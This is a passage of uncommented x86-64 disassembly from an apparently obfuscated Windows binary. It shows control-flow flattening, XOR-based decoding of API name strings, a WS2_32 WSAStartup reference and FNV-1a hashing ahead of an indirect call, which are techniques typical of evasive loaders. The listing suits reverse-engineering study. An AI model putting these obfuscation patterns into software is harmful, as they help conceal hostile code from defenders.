mov qword [rbp + 0xb0], rcx
mov rax, qword [rbp + 0xb0]
mov byte [rax], 0x5f
mov rax, qword [rbp + 0xb0]
mov dword [rbp + 0xf8], 0x43
mov edx, 0xc0743482
nop dword [rax]
cmp edx, 0x6ff6c861
je 0x1800a93b2
cmp edx, 0xc0743482
jne 0x1800a8ca0
mov qword [rbp + 0xe0], rcx
mov edx, 0x6ff6c861
jmp 0x1800a8ca0
mov eax, 0xc1350d03
jmp 0x1800a7740
mov ecx, dword [rbp + 0xf8]
add ecx, dword [rbp + 0xe0]
mov byte [rax], cl
add rax, 1
mov qword [rbp + 0xf8], rax
mov eax, 0xea774be3
nop word [rax + rax]
cmp eax, 0x14fe7f9d
je 0x1800a93fe
cmp eax, 0xea774be3
jne 0x1800a8cf0
mov dword [rbp + 0xd0], WSAStartup
mov eax, 0xbc5da1fa
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x22546c21
je 0x1800a8d3c
cmp eax, 0xbc5da1fa
jne 0x1800a8d20
mov byte [rbp + 0xc0], 4
mov eax, 0x22546c21
jmp 0x1800a8d20
movsx eax, byte [rbp + 0xc0]
mov dword [rbp + 0xe0], eax
mov eax, 0x14fe7f9d
jmp 0x1800a8cf0
mov dl, byte [rbp + 0xd0]
mov byte [rcx + 1], dl
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x4aaab3ae
je 0x1800a95a6
cmp ebx, 0x5c484166
jne 0x1800a8d70
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
cmp ebx, 0x7a4faacd
je 0x1800a8db7
cmp ebx, 0x7d1bb60
jne 0x1800a8d90
mov rbx, qword [rbp + 0xe0]
add bl, 1
mov byte [rbp + 0xf8], bl
mov ebx, 0x7a4faacd
jmp 0x1800a8d90
mov bl, byte [rbp + 0xf8]
xor bl, 0x6c
mov byte [rbp + 0xd0], bl
mov ebx, 0x4aaab3ae
jmp 0x1800a8d70
mov ecx, dword [rbp + 0xe0]
mov byte [rax], cl
add rax, 1
mov qword [rbp + 0xf8], rax
mov eax, 0xfef30b2c
nop word cs:[rax + rax]
nop
cmp eax, 0xf3bca8ed
je 0x1800a961d
cmp eax, 0xfef30b2c
jne 0x1800a8df0
mov eax, 0x15501fb5
nop word [rax + rax]
cmp eax, 0x22e30b53
je 0x1800a8e2c
cmp eax, 0x15501fb5
jne 0x1800a8e10
mov byte [rbp + 0xd0], 7
mov eax, 0x22e30b53
jmp 0x1800a8e10
movsx eax, byte [rbp + 0xd0]
add eax, 0x6c
mov dword [rbp + 0xe0], eax
mov eax, 0xf3bca8ed
jmp 0x1800a8df0
mov ecx, dword [rbp + 0xf8]
add ecx, dword [rbp + 0xe0]
mov byte [rax + 1], cl
mov ecx, 0x22e7c99f
nop word [rax + rax]
cmp ecx, 0x3d177632
je 0x1800a9823
cmp ecx, 0x22e7c99f
jne 0x1800a8e60
mov dword [rbp + 0xf8], 0x69
mov ecx, 0xae59caab
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x62e867da
je 0x1800a8eae
cmp ecx, 0xae59caab
jne 0x1800a8e90
mov byte [rbp + 0xd0], 3
mov ecx, 0x62e867da
jmp 0x1800a8e90
movsx ecx, byte [rbp + 0xd0]
mov dword [rbp + 0xe0], ecx
mov ecx, 0x3d177632
jmp 0x1800a8e60
mov dl, byte [rbp + 0xf8]
mov byte [rcx + 2], dl
add rcx, 3
mov qword [rbp + 0xc0], rcx
mov edx, 0xeecee4a3
nop dword [rax + rax]
cmp edx, 0x20365862
jle 0x1800a8f10
cmp edx, 0x20365863
je 0x1800a8f87
cmp edx, 0x42aa383a
jne 0x1800a8ee0
jmp 0x1800a9870
cmp edx, 0x8e6b0ba1
je 0x1800a8fa7
cmp edx, 0xeecee4a3
jne 0x1800a8ee0
mov edx, 0x43274e82
nop dword [rax]
cmp edx, 0x83be89e4
je 0x1800a9017
cmp edx, 0x43274e82
jne 0x1800a8f30
mov edx, 0xb42677b2
nop dword [rax]
cmp edx, 0xeca36e48
je 0x1800a8f6e
cmp edx, 0xb42677b2
jne 0x1800a8f50
mov qword [rbp + 0xe0], rax
mov edx, 0xeca36e48
jmp 0x1800a8f50
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
xor dl, 0x6f
mov byte [rbp + 0xdc], dl
mov edx, 0x83be89e4
jmp 0x1800a8f30
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0xf8]
mov edx, 0x20365863
mov ebx, 0x42aa383a
cmove edx, ebx
jmp 0x1800a8ee0
mov rcx, qword [rbp + 0xd0]
mov edx, 0x43274e82
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x83be89e4
je 0x1800a9097
cmp edx, 0x43274e82
jne 0x1800a8fc0
mov edx, 0xb42677b2
nop dword [rax]
cmp edx, 0xeca36e48
je 0x1800a8ffe
cmp edx, 0xb42677b2
jne 0x1800a8fe0
mov qword [rbp + 0xe0], rax
mov edx, 0xeca36e48
jmp 0x1800a8fe0
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
xor dl, 0x65
mov byte [rbp + 0xdc], dl
mov edx, 0x83be89e4
jmp 0x1800a8fc0
mov dl, byte [rbp + 0xdc]
mov rbx, qword [rbp + 0xc0]
mov byte [rbx], dl
mov rdx, qword [rbp + 0xc0]
mov ebx, 0x43274e82
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x83be89e4
je 0x1800a90c0
cmp ebx, 0x43274e82
jne 0x1800a9040
mov ebx, 0xb42677b2
nop word cs:[rax + rax]
nop
cmp ebx, 0xeca36e48
je 0x1800a907e
cmp ebx, 0xb42677b2
jne 0x1800a9060
mov qword [rbp + 0xe0], rax
mov ebx, 0xeca36e48
jmp 0x1800a9060
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
xor bl, 0x73
mov byte [rbp + 0xdc], bl
mov ebx, 0x83be89e4
jmp 0x1800a9040
mov dl, byte [rbp + 0xdc]
mov byte [rcx + 1], dl
add rcx, 2
mov rdx, qword [rbp + 0xb0]
add rdx, 0xd
mov qword [rbp + 0xf8], rdx
mov edx, 0x20365863
jmp 0x1800a8ee0
mov bl, byte [rbp + 0xdc]
mov byte [rdx + 1], bl
mov ebx, 0x43274e82
nop
cmp ebx, 0x83be89e4
je 0x1800a9127
cmp ebx, 0x43274e82
jne 0x1800a90d0
mov ebx, 0xb42677b2
nop word cs:[rax + rax]
nop
cmp ebx, 0xeca36e48
je 0x1800a910e
cmp ebx, 0xb42677b2
jne 0x1800a90f0
mov qword [rbp + 0xe0], rax
mov ebx, 0xeca36e48
jmp 0x1800a90f0
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
xor bl, 0x65
mov byte [rbp + 0xdc], bl
mov ebx, 0x83be89e4
jmp 0x1800a90d0
mov bl, byte [rbp + 0xdc]
mov byte [rdx + 2], bl
mov ebx, 0x43274e82
nop word cs:[rax + rax]
nop
cmp ebx, 0x83be89e4
je 0x1800a9197
cmp ebx, 0x43274e82
jne 0x1800a9140
mov ebx, 0xb42677b2
nop word cs:[rax + rax]
nop
cmp ebx, 0xeca36e48
je 0x1800a917e
cmp ebx, 0xb42677b2
jne 0x1800a9160
mov qword [rbp + 0xe0], rax
mov ebx, 0xeca36e48
jmp 0x1800a9160
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
xor bl, 0x48
mov byte [rbp + 0xdc], bl
mov ebx, 0x83be89e4
jmp 0x1800a9140
mov bl, byte [rbp + 0xdc]
mov byte [rdx + 3], bl
mov ebx, 0x43274e82
nop word cs:[rax + rax]
nop
cmp ebx, 0x83be89e4
je 0x1800a9207
cmp ebx, 0x43274e82
jne 0x1800a91b0
mov ebx, 0xb42677b2
nop word cs:[rax + rax]
nop
cmp ebx, 0xeca36e48
je 0x1800a91ee
cmp ebx, 0xb42677b2
jne 0x1800a91d0
mov qword [rbp + 0xe0], rax
mov ebx, 0xeca36e48
jmp 0x1800a91d0
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
xor bl, 0x61
mov byte [rbp + 0xdc], bl
mov ebx, 0x83be89e4
jmp 0x1800a91b0
mov bl, byte [rbp + 0xdc]
mov byte [rdx + 4], bl
mov ebx, 0x43274e82
nop word cs:[rax + rax]
nop
cmp ebx, 0x83be89e4
je 0x1800a9277
cmp ebx, 0x43274e82
jne 0x1800a9220
mov ebx, 0xb42677b2
nop word cs:[rax + rax]
nop
cmp ebx, 0xeca36e48
je 0x1800a925e
cmp ebx, 0xb42677b2
jne 0x1800a9240
mov qword [rbp + 0xe0], rax
mov ebx, 0xeca36e48
jmp 0x1800a9240
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
xor bl, 0x6e
mov byte [rbp + 0xdc], bl
mov ebx, 0x83be89e4
jmp 0x1800a9220
mov bl, byte [rbp + 0xdc]
mov byte [rdx + 5], bl
mov ebx, 0x43274e82
nop word cs:[rax + rax]
nop
cmp ebx, 0x83be89e4
je 0x1800a92e7
cmp ebx, 0x43274e82
jne 0x1800a9290
mov ebx, 0xb42677b2
nop word cs:[rax + rax]
nop
cmp ebx, 0xeca36e48
je 0x1800a92ce
cmp ebx, 0xb42677b2
jne 0x1800a92b0
mov qword [rbp + 0xe0], rax
mov ebx, 0xeca36e48
jmp 0x1800a92b0
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
xor bl, 0x64
mov byte [rbp + 0xdc], bl
mov ebx, 0x83be89e4
jmp 0x1800a9290
mov bl, byte [rbp + 0xdc]
mov byte [rdx + 6], bl
add rdx, 7
mov qword [rbp + 0xd0], rdx
mov edx, 0x43274e82
cmp edx, 0x83be89e4
je 0x1800a9357
cmp edx, 0x43274e82
jne 0x1800a9300
mov edx, 0xb42677b2
nop word cs:[rax + rax]
nop
cmp edx, 0xeca36e48
je 0x1800a933e
cmp edx, 0xb42677b2
jne 0x1800a9320
mov qword [rbp + 0xe0], rax
mov edx, 0xeca36e48
jmp 0x1800a9320
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
xor dl, 0x6c
mov byte [rbp + 0xdc], dl
mov edx, 0x83be89e4
jmp 0x1800a9300
mov dl, byte [rbp + 0xdc]
mov rbx, qword [rbp + 0xd0]
mov byte [rbx], dl
mov edx, 0x8e6b0ba1
jmp 0x1800a8ee0
mov edx, dword [rbp + 0xf8]
xor edx, dword [rbp + 0xe0]
mov byte [rcx + 1], dl
mov dword [rbp + 0xf8], WSAStartup
mov edx, 0x1149c90f
nop
cmp edx, 0xe9ff49d1
je 0x1800a9c24
cmp edx, 0x1149c90f
jne 0x1800a9390
mov qword [rbp + 0xe0], rax
mov edx, 0xe9ff49d1
jmp 0x1800a9390
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x1f803b35
nop word cs:[rax + rax]
cmp edx, 0xb953ffa3
je 0x1800a9c68
cmp edx, 0x1f803b35
jne 0x1800a93d0
movsx edx, byte [rbp + 0xd0]
xor edx, dword [rbp + 0xf8]
mov dword [rbp + 0xe0], edx
mov edx, 0xb953ffa3
jmp 0x1800a93d0
mov eax, dword [rbp + 0xd0]
add eax, dword [rbp + 0xe0]
mov byte [rbp + 0xdc], al
mov eax, 0xd562467f
nop word cs:[rax + rax]
nop
cmp eax, 0x9ba56d6c
je 0x1800a9ca2
cmp eax, 0xd562467f
jne 0x1800a9420
mov rax, qword [rbp + 0xf8]
mov cl, byte [rbp + 0xdc]
mov byte [rax], cl
mov rax, qword [rbp + 0xf8]
mov ecx, 0xea774be3
nop dword [rax]
cmp ecx, 0x14fe7f9d
je 0x1800a94a2
cmp ecx, 0xea774be3
jne 0x1800a9450
mov dword [rbp + 0xc0], WSAStartup
mov ecx, 0xbc5da1fa
nop
cmp ecx, 0x22546c21
je 0x1800a948e
cmp ecx, 0xbc5da1fa
jne 0x1800a9470
mov byte [rbp + 0xb0], 4
mov ecx, 0x22546c21
jmp 0x1800a9470
movsx ecx, byte [rbp + 0xb0]
mov dword [rbp + 0xd0], ecx
mov ecx, 0x14fe7f9d
jmp 0x1800a9450
mov ecx, dword [rbp + 0xc0]
add ecx, dword [rbp + 0xd0]
mov byte [rax + 1], cl
mov ecx, 0xea774be3
nop word cs:[rax + rax]
cmp ecx, 0x14fe7f9d
je 0x1800a9512
cmp ecx, 0xea774be3
jne 0x1800a94c0
mov dword [rbp + 0xc0], reloc.WS2_32.dll_WSAStartup
mov ecx, 0xbc5da1fa
nop
cmp ecx, 0x22546c21
je 0x1800a94fe
cmp ecx, 0xbc5da1fa
jne 0x1800a94e0
mov byte [rbp + 0xb0], 4
mov ecx, 0x22546c21
jmp 0x1800a94e0
movsx ecx, byte [rbp + 0xb0]
mov dword [rbp + 0xd0], ecx
mov ecx, 0x14fe7f9d
jmp 0x1800a94c0
mov ecx, dword [rbp + 0xc0]
add ecx, dword [rbp + 0xd0]
mov byte [rax + 2], cl
mov ecx, 0xea774be3
nop word cs:[rax + rax]
cmp ecx, 0x14fe7f9d
je 0x1800a9582
cmp ecx, 0xea774be3
jne 0x1800a9530
mov dword [rbp + 0xc0], 0x65
mov ecx, 0xbc5da1fa
nop
cmp ecx, 0x22546c21
je 0x1800a956e
cmp ecx, 0xbc5da1fa
jne 0x1800a9550
mov byte [rbp + 0xb0], 4
mov ecx, 0x22546c21
jmp 0x1800a9550
movsx ecx, byte [rbp + 0xb0]
mov dword [rbp + 0xd0], ecx
mov ecx, 0x14fe7f9d
jmp 0x1800a9530
mov ecx, dword [rbp + 0xc0]
add ecx, dword [rbp + 0xd0]
mov byte [rax + 3], cl
add rax, 4
mov qword [rbp + 0xe0], rax
mov eax, 0x9ba56d6c
jmp 0x1800a9420
mov dl, byte [rbp + 0xd0]
mov byte [rcx + 2], dl
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop dword [rax + rax]
cmp ebx, 0x4aaab3ae
je 0x1800a9d10
cmp ebx, 0x5c484166
jne 0x1800a95c0
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
cmp ebx, 0x7a4faacd
je 0x1800a9607
cmp ebx, 0x7d1bb60
jne 0x1800a95e0
mov rbx, qword [rbp + 0xe0]
add bl, 2
mov byte [rbp + 0xf8], bl
mov ebx, 0x7a4faacd
jmp 0x1800a95e0
mov bl, byte [rbp + 0xf8]
xor bl, 0x6f
mov byte [rbp + 0xd0], bl
mov ebx, 0x4aaab3ae
jmp 0x1800a95c0
mov eax, dword [rbp + 0xe0]
mov rcx, qword [rbp + 0xf8]
mov byte [rcx], al
mov eax, 0x7020a8a7
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x39b8b2eb
je 0x1800a9d8d
cmp eax, 0x7020a8a7
jne 0x1800a9640
mov rax, qword [rbp + 0xf8]
mov ecx, 0xfef30b2c
nop
cmp ecx, 0xf3bca8ed
je 0x1800a96b5
cmp ecx, 0xfef30b2c
jne 0x1800a9660
mov ecx, 0x15501fb5
nop word cs:[rax + rax]
nop
cmp ecx, 0x22e30b53
je 0x1800a969e
cmp ecx, 0x15501fb5
jne 0x1800a9680
mov byte [rbp + 0xc0], 7
mov ecx, 0x22e30b53
jmp 0x1800a9680
movsx ecx, byte [rbp + 0xc0]
add ecx, 0x6f
mov dword [rbp + 0xd0], ecx
mov ecx, 0xf3bca8ed
jmp 0x1800a9660
mov ecx, dword [rbp + 0xd0]
mov byte [rax + 1], cl
mov ecx, 0xfef30b2c
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xf3bca8ed
je 0x1800a9725
cmp ecx, 0xfef30b2c
jne 0x1800a96d0
mov ecx, 0x15501fb5
nop word cs:[rax + rax]
nop
cmp ecx, 0x22e30b53
je 0x1800a970e
cmp ecx, 0x15501fb5
jne 0x1800a96f0
mov byte [rbp + 0xc0], 7
mov ecx, 0x22e30b53
jmp 0x1800a96f0
movsx ecx, byte [rbp + 0xc0]
add ecx, 0x73
mov dword [rbp + 0xd0], ecx
mov ecx, 0xf3bca8ed
jmp 0x1800a96d0
mov ecx, dword [rbp + 0xd0]
mov byte [rax + 2], cl
mov ecx, 0xfef30b2c
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xf3bca8ed
je 0x1800a9795
cmp ecx, 0xfef30b2c
jne 0x1800a9740
mov ecx, 0x15501fb5
nop word cs:[rax + rax]
nop
cmp ecx, 0x22e30b53
je 0x1800a977e
cmp ecx, 0x15501fb5
jne 0x1800a9760
mov byte [rbp + 0xc0], 7
mov ecx, 0x22e30b53
jmp 0x1800a9760
movsx ecx, byte [rbp + 0xc0]
add ecx, 0x65
mov dword [rbp + 0xd0], ecx
mov ecx, 0xf3bca8ed
jmp 0x1800a9740
mov ecx, dword [rbp + 0xd0]
mov byte [rax + 3], cl
mov ecx, 0xfef30b2c
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xf3bca8ed
je 0x1800a9805
cmp ecx, 0xfef30b2c
jne 0x1800a97b0
mov ecx, 0x15501fb5
nop word cs:[rax + rax]
nop
cmp ecx, 0x22e30b53
je 0x1800a97ee
cmp ecx, 0x15501fb5
jne 0x1800a97d0
mov byte [rbp + 0xc0], 7
mov ecx, 0x22e30b53
jmp 0x1800a97d0
movsx ecx, byte [rbp + 0xc0]
add ecx, 0x48
mov dword [rbp + 0xd0], ecx
mov ecx, 0xf3bca8ed
jmp 0x1800a97b0
mov ecx, dword [rbp + 0xd0]
mov byte [rax + 4], cl
add rax, 5
mov qword [rbp + 0xe0], rax
mov eax, 0x39b8b2eb
jmp 0x1800a9640
mov ecx, dword [rbp + 0xf8]
add ecx, dword [rbp + 0xe0]
mov byte [rax + 2], cl
add rax, 3
mov qword [rbp + 0xe0], rax
mov eax, 0xbed9a4f1
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x21d415ba
je 0x1800a9df3
cmp eax, 0xbed9a4f1
jne 0x1800a9850
mov byte [rbp + 0xb0], 0x74
mov eax, 0x21d415ba
jmp 0x1800a9850
mov rcx, qword [rbp + 0x48]
sub rsp, 0x20
call fcn.1800acee0
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov esi, 0x5a095eaf
jmp 0x1800a98c0
movsxd rdi, r8d
xor rdi, qword [rbp + 0xe0]
imul rdi, r9
mov ebx, dword [rbp + 0xd0]
add ebx, 1
mov esi, 0x3f5c8003
nop word [rax + rax]
cmp esi, 0x225a7bc4
jle 0x1800a9910
cmp esi, 0x47bbb916
jle 0x1800a9970
cmp esi, 0x5a3f4fc7
jg 0x1800a9a19
cmp esi, 0x47bbb917
je 0x1800a9ae4
cmp esi, 0x4e13d4a4
je 0x1800a9af3
cmp esi, 0x5a095eaf
jne 0x1800a98c0
mov esi, 0xcc3ba284
jmp 0x1800a98c0
cmp esi, 0xe575f6ff
jg 0x1800a99d0
cmp esi, 0xb1175138
jle 0x1800a9a57
cmp esi, 0xb1175139
je 0x1800a9afd
cmp esi, 0xcc3ba284
je 0x1800a9b12
cmp esi, 0xd557fee3
jne 0x1800a98c0
mov ecx, dword [rbp + 0xdc]
or ecx, 0x20
mov dword [rbp + 0xb0], ecx
mov esi, 0xf3a692f1
jmp 0x1800a98c0
cmp esi, 0x297bd53c
jle 0x1800a9a80
cmp esi, 0x297bd53d
je 0x1800a989e
cmp esi, 0x3b762931
je 0x1800a9b1e
cmp esi, 0x3f5c8003
jne 0x1800a98c0
mov dword [rbp + 0xd0], ebx
mov qword [rbp + 0xe0], rdi
mov esi, dword [rbp + 0xc0]
mov ecx, dword [rbp + 0xd0]
cmp ecx, esi
mov esi, 0x9c018438
cmovb esi, r14d
jmp 0x1800a98c0
cmp esi, 0xf3632eba
jle 0x1800a9ab2
cmp esi, 0xf3632ebb
je 0x1800a9b28
cmp esi, 0xf3a692f1
je 0x1800a9b32
cmp esi, 0x15c3f435
jne 0x1800a98c0
mov esi, dword [rbp + 0xc0]
add esi, 1
mov dword [rbp + 0xbc], esi
mov esi, 0x4e13d4a4
jmp 0x1800a98c0
cmp esi, 0x5a3f4fc8
je 0x1800a9b43
cmp esi, 0x663c52c8
je 0x1800a9b58
cmp esi, 0x7a49349b
jne 0x1800a98c0
mov ecx, dword [rbp + 0xd0]
add rcx, rax
mov qword [rbp + 0xf8], rcx
mov esi, 0x2758122a
jmp 0x1800a98c0
cmp esi, 0x820447f7
je 0x1800a9b85
cmp esi, 0x928c3d39
jne 0x1800a9bd3
mov esi, 0x297bd53d
mov r8d, dword [rbp + 0xdc]
jmp 0x1800a98c0
cmp esi, 0x225a7bc5
je 0x1800a9b9f
cmp esi, 0x2758122a
jne 0x1800a98c0
mov rcx, qword [rbp + 0xf8]
movzx ecx, byte [rcx]
mov byte [rbp + 0xcd], cl
mov esi, 0x225a7bc5
jmp 0x1800a98c0
cmp esi, 0xe575f700
je 0x1800a9bc3
cmp esi, 0xf21ebfc4
jne 0x1800a98c0
mov esi, dword [rbp + 0xac]
cmp esi, 0x7f
setl byte [rbp + 0xce]
mov esi, 0xb1175139
jmp 0x1800a98c0
mov esi, 0x3f5c8003
xor ebx, ebx
mov rdi, r12
jmp 0x1800a98c0
mov esi, 0xe575f700
jmp 0x1800a98c0
cmp byte [rbp + 0xce], 0
mov esi, 0xf3632ebb
cmovne esi, r10d
jmp 0x1800a98c0
mov esi, 0x663c52c8
xor edx, edx
jmp 0x1800a98c0
mov esi, 0x47bbb917
jmp 0x1800a98c0
mov esi, 0x3b762931
jmp 0x1800a98c0
mov esi, 0x297bd53d
mov r8d, dword [rbp + 0xb0]
jmp 0x1800a98c0
cmp byte [rbp + 0xcf], 0
mov esi, 0x928c3d39
cmovne esi, r15d
jmp 0x1800a98c0
mov dword [rbp + 0xc0], edx
mov esi, dword [rbp + 0xc0]
movsx esi, byte [rax + rsi]
mov dword [rbp + 0xac], esi
mov esi, dword [rbp + 0xac]
cmp esi, 0x1f
mov esi, 0xf3632ebb
cmovg esi, r13d
jmp 0x1800a98c0
mov ecx, dword [rbp + 0xdc]
cmp ecx, 0x5b
setl byte [rbp + 0xcf]
mov esi, 0x5a3f4fc8
jmp 0x1800a98c0
movsx ecx, byte [rbp + 0xcd]
mov dword [rbp + 0xdc], ecx
mov ecx, dword [rbp + 0xdc]
cmp ecx, 0x40
mov esi, 0x928c3d39
cmovg esi, r11d
jmp 0x1800a98c0
mov esi, 0x663c52c8
mov edx, dword [rbp + 0xbc]
jmp 0x1800a98c0
cmp esi, 0x9c018438
jne 0x1800a98c0
mov rcx, qword [rbp + 0xe0]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov eax, 0x5273a09f
jmp 0x1800a7740
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x98a63856
nop dword [rax + rax]
cmp edx, 0xcf499829
je 0x1800a9e52
cmp edx, 0x98a63856
jne 0x1800a9c40
movsx edx, byte [rbp + 0xd0]
mov dword [rbp + 0xe0], edx
mov edx, 0xcf499829
jmp 0x1800a9c40
mov edx, dword [rbp + 0xe0]
mov byte [rax + 1], dl
mov dword [rbp + 0xf8], WSAStartup
mov edx, 0xc0743482
cmp edx, 0x6ff6c861
je 0x1800a9e92
cmp edx, 0xc0743482
jne 0x1800a9c80
mov qword [rbp + 0xe0], rcx
mov edx, 0x6ff6c861
jmp 0x1800a9c80
mov eax, 0xea774be3
nop word [rax + rax]
cmp eax, 0x14fe7f9d
je 0x1800a9ede
cmp eax, 0xea774be3
jne 0x1800a9cb0
mov dword [rbp + 0xc0], 0x48
mov eax, 0xbc5da1fa
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x22546c21
je 0x1800a9cfc
cmp eax, 0xbc5da1fa
jne 0x1800a9ce0
mov byte [rbp + 0xb0], 4
mov eax, 0x22546c21
jmp 0x1800a9ce0
movsx eax, byte [rbp + 0xb0]
mov dword [rbp + 0xd0], eax
mov eax, 0x14fe7f9d
jmp 0x1800a9cb0
mov dl, byte [rbp + 0xd0]
mov byte [rcx + 3], dl
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x4aaab3ae
je 0x1800a9f62
cmp ebx, 0x5c484166
jne 0x1800a9d30
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
cmp ebx, 0x7a4faacd
je 0x1800a9d77
cmp ebx, 0x7d1bb60
jne 0x1800a9d50
mov rbx, qword [rbp + 0xe0]
add bl, 3
mov byte [rbp + 0xf8], bl
mov ebx, 0x7a4faacd
jmp 0x1800a9d50
mov bl, byte [rbp + 0xf8]
xor bl, 0x73
mov byte [rbp + 0xd0], bl
mov ebx, 0x4aaab3ae
jmp 0x1800a9d30
mov eax, 0xfef30b2c
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xf3bca8ed
je 0x1800a9fdd
cmp eax, 0xfef30b2c
jne 0x1800a9da0
mov eax, 0x15501fb5
nop word [rax + rax]
cmp eax, 0x22e30b53
je 0x1800a9ddc
cmp eax, 0x15501fb5
jne 0x1800a9dc0
mov byte [rbp + 0xc0], 7
mov eax, 0x22e30b53
jmp 0x1800a9dc0
movsx eax, byte [rbp + 0xc0]
add eax, 0x61
mov dword [rbp + 0xd0], eax
mov eax, 0xf3bca8ed
jmp 0x1800a9da0
movsx eax, byte [rbp + 0xb0]
mov ecx, 0x22e7c99f
nop
cmp ecx, 0x3d177632
je 0x1800aa055
cmp ecx, 0x22e7c99f
jne 0x1800a9e00
mov dword [rbp + 0xd0], eax
mov ecx, 0xae59caab
nop
cmp ecx, 0x62e867da
je 0x1800a9e3e
cmp ecx, 0xae59caab
jne 0x1800a9e20
mov byte [rbp + 0xc0], 3
mov ecx, 0x62e867da
jmp 0x1800a9e20
movsx ecx, byte [rbp + 0xc0]
mov dword [rbp + 0xf8], ecx
mov ecx, 0x3d177632
jmp 0x1800a9e00
mov edx, dword [rbp + 0xf8]
xor edx, dword [rbp + 0xe0]
mov byte [rcx + 2], dl
mov dword [rbp + 0xf8], WSAStartup
mov edx, 0x1149c90f
cmp edx, 0xe9ff49d1
je 0x1800aa0e2
cmp edx, 0x1149c90f
jne 0x1800a9e70
mov qword [rbp + 0xe0], rax
mov edx, 0xe9ff49d1
jmp 0x1800a9e70
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x1f803b35
nop word cs:[rax + rax]
cmp edx, 0xb953ffa3
je 0x1800aa128
cmp edx, 0x1f803b35
jne 0x1800a9eb0
movsx edx, byte [rbp + 0xd0]
xor edx, dword [rbp + 0xf8]
mov dword [rbp + 0xe0], edx
mov edx, 0xb953ffa3
jmp 0x1800a9eb0
mov eax, dword [rbp + 0xc0]
add eax, dword [rbp + 0xd0]
mov rcx, qword [rbp + 0xe0]
mov byte [rcx], al
mov rax, qword [rbp + 0xe0]
mov ecx, 0xea774be3
nop
cmp ecx, 0x14fe7f9d
je 0x1800aa162
cmp ecx, 0xea774be3
jne 0x1800a9f00
mov dword [rbp + 0xc0], 0x61
mov ecx, 0xbc5da1fa
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x22546c21
je 0x1800a9f4e
cmp ecx, 0xbc5da1fa
jne 0x1800a9f30
mov byte [rbp + 0xb0], 4
mov ecx, 0x22546c21
jmp 0x1800a9f30
movsx ecx, byte [rbp + 0xb0]
mov dword [rbp + 0xd0], ecx
mov ecx, 0x14fe7f9d
jmp 0x1800a9f00
mov dl, byte [rbp + 0xd0]
mov byte [rcx + 4], dl
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop word cs:[rax + rax]
nop
cmp ebx, 0x4aaab3ae
je 0x1800aa1e2
cmp ebx, 0x5c484166
jne 0x1800a9f80
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
cmp ebx, 0x7a4faacd
je 0x1800a9fc7
cmp ebx, 0x7d1bb60
jne 0x1800a9fa0
mov rbx, qword [rbp + 0xe0]
add bl, 4
mov byte [rbp + 0xf8], bl
mov ebx, 0x7a4faacd
jmp 0x1800a9fa0
mov bl, byte [rbp + 0xf8]
xor bl, 0x65
mov byte [rbp + 0xd0], bl
mov ebx, 0x4aaab3ae
jmp 0x1800a9f80
mov eax, dword [rbp + 0xd0]
mov rcx, qword [rbp + 0xe0]
mov byte [rcx], al
mov rax, qword [rbp + 0xe0]
mov ecx, 0xfef30b2c
nop dword [rax + rax]
cmp ecx, 0xf3bca8ed
je 0x1800aa25d
cmp ecx, 0xfef30b2c
jne 0x1800aa000
mov ecx, 0x15501fb5
nop dword [rax]
cmp ecx, 0x22e30b53
je 0x1800aa03e
cmp ecx, 0x15501fb5
jne 0x1800aa020
mov byte [rbp + 0xc0], 7
mov ecx, 0x22e30b53
jmp 0x1800aa020
movsx ecx, byte [rbp + 0xc0]
add ecx, 0x6e
mov dword [rbp + 0xd0], ecx
mov ecx, 0xf3bca8ed
jmp 0x1800aa000
mov eax, dword [rbp + 0xd0]
add eax, dword [rbp + 0xf8]
mov rcx, qword [rbp + 0xe0]
mov byte [rcx], al
mov rax, qword [rbp + 0xe0]
mov ecx, 0x22e7c99f
nop word cs:[rax + rax]
cmp ecx, 0x3d177632
je 0x1800aa2c5
cmp ecx, 0x22e7c99f
jne 0x1800aa080
mov dword [rbp + 0xd0], 0x65
mov ecx, 0xae59caab
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x62e867da
je 0x1800aa0ce
cmp ecx, 0xae59caab
